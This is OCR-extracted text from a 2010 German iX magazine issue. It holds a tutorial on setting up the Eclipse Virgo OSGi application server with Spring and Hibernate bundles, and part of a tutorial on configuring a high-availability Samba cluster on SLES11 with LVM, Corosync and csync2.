besitzen, Bibliotheken von Drittanbietern innerhalb eines OSGi-Kontexts einzubinden. Die Architektureigenschaften von Virgo gehen auf die von Equinox zurück (der Server basiert auf der OSGi- x-tract Der Application Server Virgo überträgt das OSGi-Komponentenkonzept für Webanwendungen in die Serverwelt. Spring Dynamics Module Server wird als Eclipse-Runtime-Projekt weiterentwickelt. Auch wenn das Konzept schlüssig ist: Die Sache ist noch im Anfangsstadium und erfordert eine Menge Konfigurationsarbeit. Theorie des Dekompositionsprinzips Mit der von IBM unterstützten Open Gateway Services Initiative (OSGi), JSR 291 sowie mit Suns Java Module System (JAM, JSR 277) existieren zwei Konzepte für die Komponentenbildung in Java. Sun gab seine Variante jedoch auf, da sie eine aufwendige Umprogrammierung der Java VM erfordert hätte. OSGi soll nun folgende Aufgaben meistern. Der Entwickler muss die Klassensichtbarkeit und die Software-Modularisierung jenseits der Paketebene steuern. Java lässt auf der Letzteren keine Schnittstellendefinitionen zu. Wenn ein Systemteil aus mehreren Paketen besteht, die gemeinsame Klassen nutzen, so müssen sie als public deklariert und außerhalb des Systemteils sichtbar sein. Während der Laufzeit sind Abhängigkeiten von Modulen (Versionen und Versions - intervallen) aufzulösen. Ist zum Beispiel in Großprojekten die Definition und Erstellung einzelner Module unterschiedlich weit fortgeschritten, führt die Abhängigkeit zweier Module von verschiedenen Versionen derselben Klassenbibliothek leicht zu Konflikten. Um die zu entschärfen, hebt man die Einschränkung des Standard- Classloader auf, nur eine Version einer Klasse laden zu können, und gewährleistet so die Koexistenz verschiedener Klassenversionen zur Laufzeit. Jedes Modul und jede Funktion sollte sich auf eine Aufgabe konzentrieren. Diese funktionale Beschränkung stabilisiert die Softwarearchitektur. Löst man die Beschränkung auf, ließen sich vorhandenen Modulen wahllos neue Funktionen hinzufügen oder erweitern. Aus einer anfangs gut strukturierten Software entstünde ein ziemlich undurchsichtiges und mithin unwartbares System. Implementierung und bettet deren Runtime ein). Damit das Einrichten der OSGi-Bundles gelingt, enthält Virgo einen dynamischen Enterprise-Kernel, der die Kernanwendung, das Deployment sowie das Bereitstellungs-Modell implementiert. Ein Server-Runtime- Modul, ein Webcontainer, eine Konfigurations- sowie die Administrations- Komponente erledigen den Rest. Integriert und eingebettet Eine spezielle Anwendung wickelt das Hosting von Remote-Repositories ab. Schließlich kümmert sich das Medic- Modul um das Logging einzelner Programme. Virgo ergänzt die Eclipse RT Rich Client Platform (RCP) sowie die Rich Ajax Platform (RAP) und integriert den Gemini Web Container (der wiederum den Apache Tomcat Servlet Container einbettet, siehe ix-link). Gemini ist die Referenzimplementierung der OSGi 4.2 Blueprint-Spezifikation (RFC 124). Der sogenannte Blueprint Container benutzt XML-Definitionen (mit ähnlicher Syntax wie bei den Spring-Kontext-XML-Dateien) innerhalb von Bundles, um Anwendungsobjekte über ein Dependency-Injec - tion-framework zu erzeugen und zu verknüpfen. Freunde von Jetty kommen ebenfalls nicht zu kurz: Virgo stellt Adapter bereit, um diesen Container alternativ einzubinden. Außerdem können ECF-Bundles (Eclipse ComiX 11/

132 PRAXIS Applikationsserver munication Framework) in einer Virgo- Runtime eingerichtet werden. So viel zum Hintergrund. Einrichten von Virgo Zum Entwickeln von Virgo-Applikationen eignet sich die SpringSource Tool Suite (STS). Man entpackt sie unter Windows nach C:\sts M2 und passt danach die Datei C:\sts M2\STS.ini so an, dass die vm-option auf ein JDK und nicht auf ein JRE verweist: -startup... -vm C:\Program Files\Java\jdk1.6.0_16\bin\javaw.exe... Der Virgo-Server wird nach C:\virgoweb-server M03-incubation extrahiert. Danach öffnet man die STS und integriert den Server: File > New > Other... > Server > Server > Next EclipseRT > Virgo Web Server > Next Wahl des Installationsverzeichnisses: Der Abhängigkeits- Manager zeigt Paket-Abhängig - keiten des Bundle- Projekts xqsserver.db (Abb.ˇ1). Die Administrationskonsole erinnert an typische vom Webcontainer gelieferte Java-Serveranwendungen (Abb.ˇ2). Server installation directory: C:\virgo-web-server M03-incubation > Next > Finish Nun fehlen noch die Webapplikationen im Server. Die Applikation besteht aus vier Projekten (die Beispiele stammen aus einer Anwendung, die RFID-basiertes Trackˇ&ˇTrace im Web ermöglicht): ˇxqs-server (Spring DM Server, PAR Project, PAR steht für Plan Archive) ˇxqs-server.db (Spring DM Server, Bundle Project) ˇxqs-server.jpa (Spring DM Server, Bundle Project) ˇxqs-server.web (Dynamic Web Project, dem Bundle-Project-Eigenschaften hinzugefügt wurden) Jedes Projekt ist der Laufzeitumgebung des in STS integrierten Virgo-Servers zugewiesen (Properties > Tar - geted Runtimes). Die Konfiguration der Laufzeitumgebung (Server-Pfad et cetera) findet man unter Window > Preferences > Server > Runtime Environments. Die drei Bundles besitzen Abhängigkeiten zu externen Paketen (festgelegt im PAR-Projekt). Abhängigkeiten erkennt man anhand der Datei /src/meta- INF/MANIFEST.MF in der Ansicht Dependencies unter Import Packages (Abbildungˇ1). Zum Beispiel ist das Projekt xqs-server.db abhängig von den Paketen com.mysql.jdbc, javax.sql sowie org.apache.commons.dbcp, die der Entwickler gegebenenfalls per Down - load Button herunterladen muss. Danach befinden sich die entsprechenden Bibliotheken (JAR-Dateien) in C:\virgo-web-server M03-incubation\repository\usr. Weiterhin existieren Abhängigkeiten zu anderen Bundles. Man erkennt sie in derselben Ansicht unter Import Bundle. Es handelt sich dabei um solche aus dem Spring-Repository, das ähnlich wie sein Pendant in Maven aufgebaut ist. Fehlende Bundles müssen ebenfalls heruntergeladen werden und befinden sich dann in Virgos User-Repository- Verzeichnis. Nun kann es immer noch sein, dass importierte Packages oder Bundles intern weitere Packages benötigen. Auch diese muss sich der Entwickler besorgen eine manchmal zähe Prozedur. Es gibt jedoch Gegenmittel, dazu später mehr. Zudem kann es vorkommen, dass man im eigenen Quell - code auf Libraries verweist, die sich nicht aus dem Spring-Repository beziehen lassen. Auch das ist kein Problem, in der MANIFEST.MF lässt sich der Classpath individuell erweitern. Bundle-ClassPath:.,lib/jgoodies-binding rc.jar,lib/jgoodies-common jar Wenn endlich alle Abhängigkeiten aufgelöst sind, kann der Entwickler das PAR-Projekt xqs-server aus STS dem Virgo-Server hinzufügen und ihn aus der STS-Umgebung heraus starten. Der Server antwortet unter (Abbildungˇ2), der Standard - zugang für die Administrationskonsole ( ist: Benutzername: admin Passwort: springsource Wie erreicht man nun die xqs-server- Anwendung? Noch einmal zurück zum PAR-Projekt xqs-server: PAR ist eine JAR-Datei, die mehrere Bundles beinhalten kann. Auf diese Weise kann man alle Bundles, die zu einer Anwendung gehören, gleichzeitig installieren, deinstallieren et cetera. PAR bietet somit die Funktionen für OSGi, die man von WAR- und EAR-Archiven kennt. In PAR stecken die drei Bundles xqsserver.db, xqs-server.jpa und xqs-server.web. Letztgenanntes Projekt ist die eigentliche Webapplikation. Den Quell code der Datei /xqs-server.web/ 132 ix 11/2010

133 WebContent/META-INF/MANIFEST.MF zeigt Listingˇ1. Web-ContextPath gibt als Parameter an, unter welcher Adresse sich die Anwendung aufrufen lässt ( In /xqs-server.web/webcontent/web-inf/web.xml, dem Deployment-Deskriptor, sind die URLs für die einzelnen Servlets zugeordnet, einen Ausschnitt zeigt Listingˇ2. Das heißt, sämtliche URLs mit dem Pfad /app/* werden von Springs DispatcherServlet hier xqsweb genannt bearbeitet. In diesem Fall erwartet Spring eine Kontextdatei, in der sämt - liche Model-View-Controller-spezi fi - schen (MVC) Komponenten aufgeführt sind, zum Beispiel der viewresolver zum Auflösen der Views (in der Regel sind das Java-ServerPages-Dateien, es können aber auch Freemarker- oder Velocity-Templates sein): /xqs-server.web/webcontent/web-inf/ xqsweb-servlet.xml Der Konfigurationsdialog zeigt Virgos Klassenpfad in der STS an (Abb. 3). In dem mitgelieferten Web-MVC- Framework spielt Spring seine Stärken aus. So sieht man beispielsweise die Kundenansicht unter der URL localhost:8080/xqsserver/app/customer/list. html. Spring ermöglicht neuerdings das Mappen von URLs über Annotationen indem man die URL über die zuständige Methode des Controller definiert. Abtauchen in die Untiefen So unkompliziert der Einsatz von Virgo klingt und so einleuchtend das Komponentenkonzept wirkt, es sei fairerweise darauf hingewiesen, dass es ganz so einfach nicht ist im Gegenteil: Es gibt sogar etliche Fallstricke. Der Kernel der aktuellen Virgo-Ver - sion (Milestoneˇ2) basiert auf Spring Listing 1: MANIFEST.MF Manifest-Version: 1.0 Bundle-Name: XQS-Server Web Bundle-Classpath:. Import-Bundle: com.springsource.org.apache.taglibs.standard;version="[1.1.2,1.3)" Web-ContextPath: xqsserver Import-Package: com.xqs.model, com.xqs.model.dao, javax.servlet.jsp.jstl.core;version="[1.1.2,1.2.0)", javax.sql, org.apache.commons.dbcp, org.eclipse.virgo.web.dm;version="[2.1.0.m03-incubation,2.1.0.m03-incubation]", org.springframework.web.bind.annotation;version="[3.0.3.release,3.0.3.release]",... org.springframework.web.servlet.view;version="[3.0.3.release,3.0.3.release]" Bundle-ManifestVersion: 2 Bundle-SymbolicName: xqs-server.web Tool: Bundlor M6 Bundle-Version: , was schon mal insofern nachteilig ist, als JPA 2.0 und Hibernate ab Version 3.5 nicht mit dieser Version harmonieren und einen AbstractMethod- Error in der Klasse SpringPersistence- UnitInfo verursachen. Obwohl dieses Problem schon länger bekannt ist und bereits im Januar gelöst wurde (siehe ix-link), wird Virgo immer noch mit der alten Spring-Version ausgeliefert. Wer versucht, eine neuere Version zu installieren, muss feststellen, dass sie mit den 3.0.0er-JAR-Dateien in Konflikt gerät. Es gibt beim Serverstart eine Myriade wilder Exceptions und nichts geht mehr. Auf alte Hibernate-Versionen und JPA 1.0 zurückzugreifen, hilft nicht weiter, denn dann funktionieren viele JPQL-Datenbankabfragen nicht mehr. In diesem Umfeld hat es so große Fortschritte gegeben, dass ein Datenbankprogrammierer wahrscheinlich nur ungern darauf verzichtet. Man muss also den Kernel selbst auf das aktuelle Spring umstellen. Im entsprechenden ZIP- Archiv befindet sich ein Ordner \springframework release\dist, der die neuen Bundles enthält. Erster Schritt: Im Verzeichnis C:\virgo-web-server M03-incubation\ - lib\ müssen die alten org.springframework.xxx release.jar-dateien durch die neuen Spring Bundles org. springframework.xxx release. jar ersetzt werden. Anschließend klickt man in STS unter Servers auf das Symbol für den lokalen Virgo Web Server, um die Serverübersichtsseite zu öffnen. Sie enthält den Link Open launch configuration. Darin sind unter dem Tab Classpath Referenzen zu den alten Spring JARs aufgeführt, die man entfernen muss. Nachdem man den Classpath angepasst hat, sieht das Ganze so aus wie in Abbildungˇ3. Zweiter Schritt: Die org.springframework.xxx release.jar-dateien im Verzeichnis C:\virgo-web-server M03-incubation\lib\kernel muss der Entwickler durch die Spring Bundles org. springframework.xxx release. jar ersetzen und danach die folgende Datei anpassen, die auf die alten 3.0.0er-JARs verweist: C:\virgo-web-server M03-incubation\lib\org. eclipse.virgo.kernel.launch.properties Das ist simpel: Nach RE- LEASE.jar suchen und ersetzen mit RELEASE.jar. Im dritten Schritt muss er die Datei C:\virgo-web-server M03-incubaiX 11/

134 PRAXIS Applikationsserver Listing 2: Ausschnitt aus dem Deployment Descriptor <servlet> <servlet-name>xqsweb</servlet-name> <servlet-class>org.springframework.web.servlet.dispatcherservlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>xqsweb</servlet-name> <url-pattern>/app/*</url-pattern> </servlet-mapping> Listing 3: Targets bundlor.init, hibernate.init <target name="bundlor.init"> <taskdef resource="com/springsource/bundlor/ant/antlib.xml" uri="antlib:com.springsource.bundlor.ant"> <classpath id="bundlor.classpath"> <filesetdir="c:/users/eldar/tools/bundlor release/dist" /> <filesetdir="c:/users/eldar/tools/bundlor release/lib" /> </classpath> </taskdef> </target> <target name="bundle.hibernate" depends="bundlor.init"> <unzipsrc="../lib/hibernate3.jar" dest="hibernate3"> <patternset> <include name="meta-inf/manifest.mf" /> </patternset> <mapper> <mapper type="regexp" from="^meta-inf/manifest.mf$" to="template-extracted.mf" /> </mapper> </unzip> <bundlor:bundlorinputpath="../lib/hibernate3.jar" outputpath="hibernate3" manifesttemplatepath="hibernate3/template.mf"> </bundlor:bundlor> </target> Listing 4: template.mf Bundle-SymbolicName: com.springsource.org.hibernate Bundle-Name: JBossHibernate Bundle-Vendor: SpringSource Bundle-Version: Beta2 Bundle-ManifestVersion: 2 Excluded-Imports: com.mchange.*, com.opensymphony.*, javax.security.*, javax.validation.*, junit.*, net.sf.swarmcache.*, net.sf.cglib.*, org.apache.tools.*, org.hibernate.tool.*, org.infinispan.*, org.jboss.*, org.jgroups.*, org.logicalcobwebs.*, org.objectweb.* Manifest-Version: 1.0 Archiver-Version: Plexus Archiver Created-By: Apache Maven Built-By: steve Build-Jdk: 1.5.0_18 Specification-Title: Hibernate Distribution Specification-Version: Beta2 Specification-Vendor: Hibernate.org Implementation-Title: Hibernate Distribution Implementation-Version: Beta2 Implementation-Vendor-Id: org.hibernate Implementation-Vendor: Hibernate.org Implementation-URL: tion\work\ext.index modifizieren ( RELEASE ersetzen durch RE- LEASE und [3.0.0, 3.0.1) ersetzen durch [3.0.0, RELEASE]. Vorsicht! Diese Datei sollte man keinesfalls mit Eclipse öffnen. Sie ist fast ein Megabyte groß, im XML-Format, und der komplette Inhalt steht in einer Zeile. Da stürzt der Eclipse-Editor ab, es sei denn der Rechner verfügt über 8ˇGB RAM, 64 Bit Betriebssystem und 64 Bit JVM. Empfehlenswert ist Edit+ oder ein vergleichbarer Editor, etwa SciTE. Nachdem man diese drei Schritte durchgeführt hat, ist der Kernel von Virgo auf dem neuesten Stand und kompatibel zu den gän - gigen Mapping- und Persistenz-APIs wie Hibernate und JPAˇ2. Im Abhängigkeits-Manager der Manifest-Dateien werden die Pakete der Spring-Versionˇ3.0.3.RELEASE auf geführt und sind als definierbare Abhängigkeit auswählbar. Eigene Bundles erstellen Das Komponentenkonzept kann seine Stärken nur ausspielen, wenn man eigene Bundles erstellen kann. Die im Spring-Repository vorhandenen sind oft veraltet. Zum Beispiel liegt dort Hibernate 3.4, es gibt aber längst die Version 3.6. Und manche Bundles besitzen, wie oben schon beschrieben, sehr viele Abhängigkeiten. Ein Ausweg aus diesem Dilemma ist es, ein eigenes Bundle beispielsweise für Hibernate 3.6 zu erstellen und die unwichtigen Abhängigkeiten rauszuschmeißen. So hat man es selbst in der Hand, die Abhängigkeiten zu definieren. Dabei kann das Spring-Projekt Bundlor helfen. Die Spring-Benutzer haben erkannt, dass aus dem steigenden Interesse für komponentenbasierte Webapplikationen die Anforderung erwächst, eigene OSGi-Bundles für das Deployment mit entsprechenden MA- NIFEST-Dateien zu erstellen. Das funktioniert über einen Manifest-Vor - lagenmechanismus (weiter unten beschrieben, siehe template.mf). Außerdem ermittelt der Bundlor via Analyse von Java-Quellcodedateien, Spring-Kontext-XML-Dateien, JPA-Konfigurationsdateien (etwa persistence.xml), Hibernate-Mapping-Dateien (*.hbm.xml) und dem Deployment-Deskriptor web.xml sämtliche Paket-Abhängigkeiten einer Bibliothek automatisch und fügt diese in das generierte Bundle-MANIFEST ein. Da man in Eclipse programmiert, bietet es sich an, Ant zu verwenden. Der Bundlor ist Ant-fähig, Maven wäre jedoch auch möglich. Konsolenfreunde können den Bundlor über die Kommandozeile bedienen. Im Folgenden wird gezeigt, wie man über Ant aus Hibernate 3.6 ein OSGi-Bundle erstellt. Der Bundlor liegt in C:/Users/Eldar/ Tools/bundlor RELEASE/. Nach der Extraktion definiert der Entwickler ein Target bundlor.init sowie ein Target bundle.hibernate, das vom erstgenannten abhängt (Listingˇ3). Das zweite Target muss er ausführen (es startet das erste automatisch mit). Es extrahiert aus hibernate3.jar die MANIFEST.MF in die Datei templateextracted.mf. Letztere kopiert man nach template.mf und trägt die Excludes ein, die die unnützen Abhängigkeiten lahmlegen (Listingˇ4). Nun muss das Target noch einmal ausgeführt werden, dabei entsteht der Unterordner META-INF, der eine MANIFEST.MF für das Hibernate 3.6 Bundle enthält. Damit wird das in hibernate3.jar enthaltene MANIFEST ersetzt. Danach kopiert man die neue hibernate3.jar in das Verzeichnis C:\virgo-web-server M03-incubation\repository\usr. Fazit: Virgo ist ein innovatives Projekt, das die Entwicklung serverseitiger Unternehmensanwendungen nachhaltig beeinflussen wird. Allerdings ist das Gebiet komplex; Einsteiger müssen entweder lange tüfteln oder darauf warten, bis das Ganze richtig ausgereift ist. (jd) ELDAR SULTANOW ist für die IT-Entwicklung der XQS Service GmbH in Gattendorf bei Hof zuständig. x 134 ix 11/2010

135

136 PRAXIS HA-Dateiserver Hochverfügbarer Samba-Cluster zum Testen Drei zugleich Fridtjof Busse, Schlomo Schapiro Mit der High Availability Extension verspricht Novell für seinen SLES11 Service Packˇ1 die Einrichtung eines HA-Samba-Clusters. Der zweite Tutorial-Teil zeigt die praktische Umsetzung am Basissystem und den Cluster-Diensten. Wie im ersten Teil dieses Tutorials nachzulesen, bietet Novells SUSE Linux Enterprise Server 11 Service Packˇ1 (SLES11 SP1) mit der High Availability Extension (HA-E) als erste Enterprise-Linux-Distribution vollständige Unterstützung für hochverfügbare Samba-Cluster auf Basis von Pacemaker und CTDB [1]. Für die praktische Umsetzung stellt der Hersteller eine weitgehend hilfreiche und vollständige Onlinedokumentation zur Verfügung (siehe Kasten Onlinequellen [a]). Erläuterte der erste Teil vorwiegend die technischen Grundlage, widmet sich das weitere Tutorial der praktischen Umsetzung orientiert an einem Tutorialinhalt Teil I: Hintergründe und Basiswissen Teil II: Storage und Cluster-Dienste Teil III: Samba, Winbind und Testbetrieb realisierten Projekt. Ursprünglich als ein einziger Praxisteil konzipiert, musste die Redaktion diesen aufteilen. Dieser zweite Teil beschäftigt sich mit dem Einrichten des Basissystems und der Cluster-Dienste, der dritte wird dann die Konfiguration des parallelen Samba-Servers beschreiben sowie Tipps zu Test und Betrieb des Clusters liefern. Drei Server, die alle Zugriff auf gemeinsamen Speicher (Storage, beispielsweise per Fibre Channel, iscsi oder SAS) haben und über ein dediziertes Heartbeat-Netz für die clusterinterne Kommunikation verfügen, bilden die Basis. Wie es bei einer empfindlichen Produktivumgebung Usus sein sollte, empfehlen die Autoren eine Testumgebung, auf der sich alle Aspekte des Clusters nachstellen lassen. Alle Listings und Beispiele des Artikels beziehen sich darauf. Die Umsetzung erfolgt mit drei XEN-VMs, da vermutlich niemand nur zum Testen viele TByte Speicherplatz freihält. Analog zu dem im Original-Projekt rund 40 TByte großen Storage-System erhalten die XEN-VMs den Plattenspeicher in vier Teilstücken zugeführt. Praktischerweise lassen sich hierzu sogenannte Sparse-Dateien ressourcenschonend einsetzen, denn sie gaukeln dem System den benötigten Speicherplatz vor, ohne ihn tatsächlich zu belegen [b]. Dazu muss man lediglich ein Dateisystem nutzen, das so große Dateien unterstützt. Auf SLES11 bietet sich dazu XFS an. So legt dd if=/dev/zero of=cluster-shared-1.raw bs=1 count=1 seek=$((10*1024**4)) eine 10 TByte große Sparse-Datei an. Durch die Verwendung von XEN VMs (hier ebenfalls auf SLES11 SP1) kann man auch ohne größere Storage- Investitionen die Umsetzung eines hochverfügbaren Samba-Clusters auspro - bieren. Der Kasten Von der virtuellen Maschine zur Hardware führt kurz die relevanten Unterschiede auf. Grundsystem: Mit HA-E Erweiterung Dieser Artikel setzt drei unter SLES11 SP1 laufende Systeme voraus, die neben dem offiziellen Netzwerksegment über ein privates Netz verfügen (zum Beispiel als VLAN). Es empfiehlt sich, für den Produktionseinsatz jeweils ein dediziertes Netzwerk-Bonding-Device zu verwenden, das mehrere physische Netzschnittstellen zu einem virtuellen Device zusammenfasst. Das stellt zum 136 ix 11/2010

137 einen sicher, dass der Ausfall eines Links nicht die komplette Netzkommunikation lahmlegt, und lässt sich zum anderen auch für Lastverteilung oder mehr Datendurchsatz (Link Aggrega - tion) verwenden. Zunächst muss der Administrator die High Availability Extension (HA- E) als Add-on-Produkt installieren [c]. Alternativ kann er eine Paketquelle dafür hinzufügen (bei Nutzung des Subscription Management Tool sind das SLE11-HAE-SP1-Pool und SLE11- HAE-SP1-Updates ) sowie das sle-hae- Produkt mit zypper install -t product sle-hae einspielen. Danach kann root per zypper install -t pattern ha_sles die HA-E-Um gebung mit allen Funktionen installieren. Dar - über hinaus benötigt das hier beschriebene Szenario die Pakete ctdb, samba und samba-winbind (falls der Cluster einer Windows-Domäne beitreten soll), was per zypper install ctdb samba samba-winbind schnell erledigt ist. Die Verwendung der Update-Quellen für SLES und HAE sind zwingend notwendig, da in die Distribution bereits einige für den reibungslosen Betrieb notwendige Bugfixes eingeflossen sind. Der Aufruf zypper up stellt sicher, dass alle Pakete auf dem aktuellen Stand sind. Um die Netzkonfiguration überschaubar zu halten, geht der Artikel davon aus, dass das interne Netz statische IPs verwendet und diese in /etc/hosts aller Knoten eingetragen sind, sodass diese sich darüber erreichen können: c1.cluster c2.cluster c3.cluster Storage: Platz ist nie genug x-tract Für die Verwaltung großer Storage-Bereiche ist unter Linux die Verwendung des Logical Volume Manager (LVM) ratsam. Neben der einfachen Aufteilung, Verwaltung und Erweiterung erlaubt er den Einsatz von Snapshots. Detaillierte Informationen zur erweiterten Konfiguration von LVM liefert der Artikel Aus dem Setzkasten [2]. Will man mehrere Storage-Bereiche zusammenfassen, empfiehlt sich insbesondere für die Nutzung mit einem Cluster-Dateisystem der Einsatz eines gestripten Logical Volume (LV), da durch den gleichzeitigen Zugriff aller Knoten die I/O-Last auf dem LV ungleich höher ist als bei einem einzelnen Server (siehe Kasten Das Wunder vom Striping ). Der Geschwindigkeitsgewinn kann hier erheblich sein, sodass dies den großen Nachteil durch den höheren Aufwand bei einer Erweiterung des Volumes ausgleicht es lässt sich nur mit jeweils derselben Anzahl von Stripes gleicher Größe ergänzen. Einige heutige SAN-Systeme verteilen angelegte LUNs automatisch über alle verfügbaren Festplatten, sodass hier der Vorteil von Striping verschwindend gering sein dürfte und die Nachteile überwiegen. Die LVM-Konfiguration erfolgt auf einem einzigen Knoten und wird am Schluss auf alle anderen Knoten verteilt. pvcreate /dev/xvd{b,c,d,e} sowie Novells SLES11 SP1 liefert alle benötigten Komponenten für einen parallelen CIFS- Cluster als vom Support abgedeckte Lösung mit. Eine vollständige Testumgebung auf XEN-Virtualisierung ist ein wichtiges Werkzeug für die Entwicklung und den Betrieb des Clusters. Basis des Systems sind die OpenAIS-Implementierung Corosync, der Cluster Ressource Manager Pacemaker sowie Oracles Open-Source-Cluster-Dateisystem OCFS2. vgcreate shared /dev/xvd{b,c,d,e} legen die Volume Group shared auf dem gemeinsamen Storage an. Das LV für den weiter unten besprochenen Split Brain Detector legt der Aufruf lvcreate -l 1 -i 4 -n sbd shared an, lvcreate -l 100%FREE -i 4 -n data01 shared erledigt dies analog für den Datenbereich. Da SLES nur bei Nutzung von YaST zur Einrichtung von LVM die Volumes automatisch beim Booten aktiviert, muss man dies auf jedem Knoten per chkconfig boot.lvm on nachholen. Zum Schluss ist noch die LVM-Konfigura - tion auf den anderen Nodes mit lvscan und vgchange -a y zu aktivieren. Im Ergebnis sollte die LVM-Konfiguration so wie in Listingˇ1 aussehen. Cluster-Basis: Erste Arbeiten Unter SLES11 SP1 hilft YaST bei der grundlegenden Einrichtung des Cluster- Kommunikationssystems Corosync via yast cluster. Dies muss man nur ein einziges Mal durchführen, da sich die Konfiguration anschließend auf alle Knoten verteilen lässt. Zuerst ist für Bind Network Address das interne Heartbeat-Netz anzugeben. Da Corosync Multicasting für die Kommunikation verwendet, muss eine entsprechende IP-Adresse zum Einsatz kommen, für dieses Tutorial und UDP-Port Das Häkchen bei Auto generate Node ID erstellt die clusterinterne ID des Knotens automatisch. Nach Erfahrung der Autoren kann dies in einigen VMware-ESX-Um ge - bungen allerdings zu Problemen fühix 11/ Mit drei Knoten lässt sich ein paralleler, hochverfügbarer Samba-Cluster realisieren.

138 PRAXIS HA-Dateiserver Von der virtuellen Maschine zur Hardware Der größte Unterschied zwischen realen Systemen und den hier eingesetzten VMs besteht im Bereich der Hardwarekomponenten. So finden sich die Festplatten-Devices /dev/xvd* auf Hardware typischerweise unter /dev/sd* oder /dev/cciss/* bei HP. Ein besonderes Problem zeigte sich bei OCFS2 und den verwendeten XEN-VMs. OCFS2 lief nur mit dem sync-treiber stabil, dazu mussten die Autoren mit virsh edit <VM> die Definition der virtuellen Festplatten ändern und type= sync setzen: <disk type='file' device='disk'> <driver name='tap' type='sync'/> <source file='/vm/images/cluster/clustershared-4.raw'/> <target dev='xvde' bus='xen'/> <shareable/> </disk> ren, da deren vswitch offenbar den Traffic filtert. In diesem Fall hilft nur die Verwendung von Dar - über hinaus muss man bei der Nutzung des gleichen Volumes an mehreren VMs in ESX-Umgebungen auf VMotion verzichten. Auf der nachfolgenden Konfigurationsseite sollte man die Sicherheitsauthentifizierung aktivieren und mit Generate Auth Key File einen kryptografischen Schlüssel erzeugen. Das stellt sicher, dass Knoten nur mit diesem Schlüssel an der Cluster-Kommunikation teilnehmen und sich keine unerwünschten Nodes einschleichen können. Auf der nächsten Seite folgt die standardmäßige Aktivierung von OpenAIS beim Systemstart. Nun schließt sich der letzte Schritt an, die Einrichtung des Cluster-Synchronisationsdienstes csync2. Hier sind alle Cluster-Knoten mit ihrem Namen (gemäß der Ausgabe von uname -n) einzutragen und der Einfachheit halber mit Add suggested files zunächst die vorgeschla genen Dateien zu übernehmen. Anschließend erzeugt Generate Pre-Shared Keys die notwendigen Schlüssel und man kann die Konfiguration beenden. Obwohl die Synchronisation der Konfiguration später via csync2 erfolgt, muss man bei der Ersteinrichtung Key- und Einrichtungsdatei Des Weiteren benötigt mkfs.ocfs2 für ein 40 TByte großes Dateisystem mindestens 2,2 GByte RAM, ansonsten sind die Speicheranforderungen genügsam. Für den Betrieb reichten 512 MByte völlig aus. Sogar für einfache (natürlich nur im Verhältnis zueinander aussagekräftige) Performance- Tests lässt sich das VM-Trio nutzen (siehe ix-link). Es zeigt sich sehr schön, dass der parallele Zugriff aller drei Knoten beim intelligenten Lesen/Schreiben etwas mehr Performance aus den beiden als RAID-1 betriebenen SATA-Platten im XEN-Host herauskitzelt als ein Knoten alleine. Auf der realen Hardware zeigte sich an einem SAS-Festplatten-Shelf ein ähnlicher Effekt, nur deutlich stärker. Leider stürzten einzelne Knoten in der Testumgebung hin und wieder mit einem Kernel-Oops in den OCFS2-Modulen ab warum, blieb bislang im Dunkeln. Die Aussagekraft der Testumgebung für Konfigurations- und Update-Tests ist dadurch glücklicherweise nicht beeinträchtigt. In der Produktivumgebung mit Hardware und echtem Storage traten derartige Probleme nicht auf. Listing 1: Storage-Konfiguration c1:~ # cat /proc/partitions major minor #blocks name xvda xvda xvda xvdb xvdc xvdd xvde c1:~ # pvs # Anzeige der Physical Volumes PV VG Fmt Attr PSize PFree /dev/xvdb shared lvm2 a T 0 /dev/xvdc shared lvm2 a T 0 /dev/xvdd shared lvm2 a T 0 /dev/xvde shared lvm2 a T 0 c1:~ # vgs # Anzeige der Volume Groups VG #PV #LV #SN Attr VSize VFree shared wz--n T 0 c1:~ # lvs # Anzeige der Logical Volumes LV VG Attr LSize Origin Snap% Move Log Copy% Convert data01 shared -wi-a T sbd shared -wi-a M (/etc/csync2/key_hagroup sowie /etc/ csync2/csync2.cfg) beispielsweise mit scp auf alle Knoten verteilen. Den zugehörigen csync2-dienst im xinetd aktivieren die Aufrufe chkconfig csync2 on und chkconfig xinetd on, service xinetd start startet den xinetd. Diese drei Aufrufe müssen auf allen Nodes des Clusters erfolgen. Danach synchronisiert csync2 -xv die Konfiguration des Knotens, auf dem sie per yast cluster erfolgte, auf alle anderen Nodes. Das Programm stellt sicher, dass es nur Dateien überschreibt, die sich zwischenzeitlich nicht geändert haben. Sollte dies doch der Fall sein, quittiert csync2 dies mit einem File is also marked dirty here!. Wer sicher ist, dass sich auf dem lokalen Host die aktuelle Dateiversion befindet, kann dies per csync2 -f /Pfad/zur/Datei festlegen. Ein nachfolgendes csync2 -xv überschreibt dann alle anderen Dateien. Bei der Ersteinrichtung muss der Admin auf diese Weise zumindest die Hauptkonfiguration mit csync2 -f /etc/corosync/ corosync.conf sowie csync -xv manuell übertragen. Im Anschluss ist nicht nur der Corosync-Cluster konfiguriert, per csync2 lassen sich auch die Konfigurationsdateien innerhalb des Clusters einheitlich halten. Die Erweiterung der abzugleichenden Files kann später noch beliebig in /etc/csync2/csync2.cfg erfolgen. Nach der erfolgreichen Synchronisation aller Konfigurationsdateien kann man auf allen Cluster-Knoten den Dienst OpenAIS mit chkconfig openais on dauerhaft aktivieren und mit service openais start starten. Der Cluster-Monitor crm_mon zeigt nach dieser Grundkonfiguration einen leeren Cluster ohne Dienste an: Last updated: Sun Sep 12 13:07: Stack: openais Current DC: c1 - partition with quorum Version: e096a41a5f9e184a1c Nodes configured, 3 expected votes 0 Resources configured. Online: [ c1 c2 c3 ] Cluster-Konfiguration auf der Shell Zur zentralen Konfiguration des Clusters dienen entweder die grafische Oberfläche crm_gui oder das Shell- Gegenstück crm. Da sich komplexe Konfigurationen mit crm einfacher bewerkstelligen lassen, sind alle Codebeispiele darauf ausgelegt. Wer dennoch mit crm_gui arbeiten möchte, muss ein lokales Passwort für den Benutzer hacluster setzen oder einen der bereits vorhandenen Benutzer in die Gruppe haclient auf nehmen. Die grundlegende Bedienung von crm ist vergleichsweise einfach und erinnert an die Arbeit mit Cisco IOS: Der Aufruf crm startet eine Shell, auf der der Benutzer Befehle absetzen beziehungsweise in die einzelnen Unterhierarchien springen kann. Auf jeder Ebene zeigt help eine Übersicht der erlaubten Kommandos; help <Befehl> liefert eine Kurzhilfe zu jedem Kommando. 138 ix 11/2010

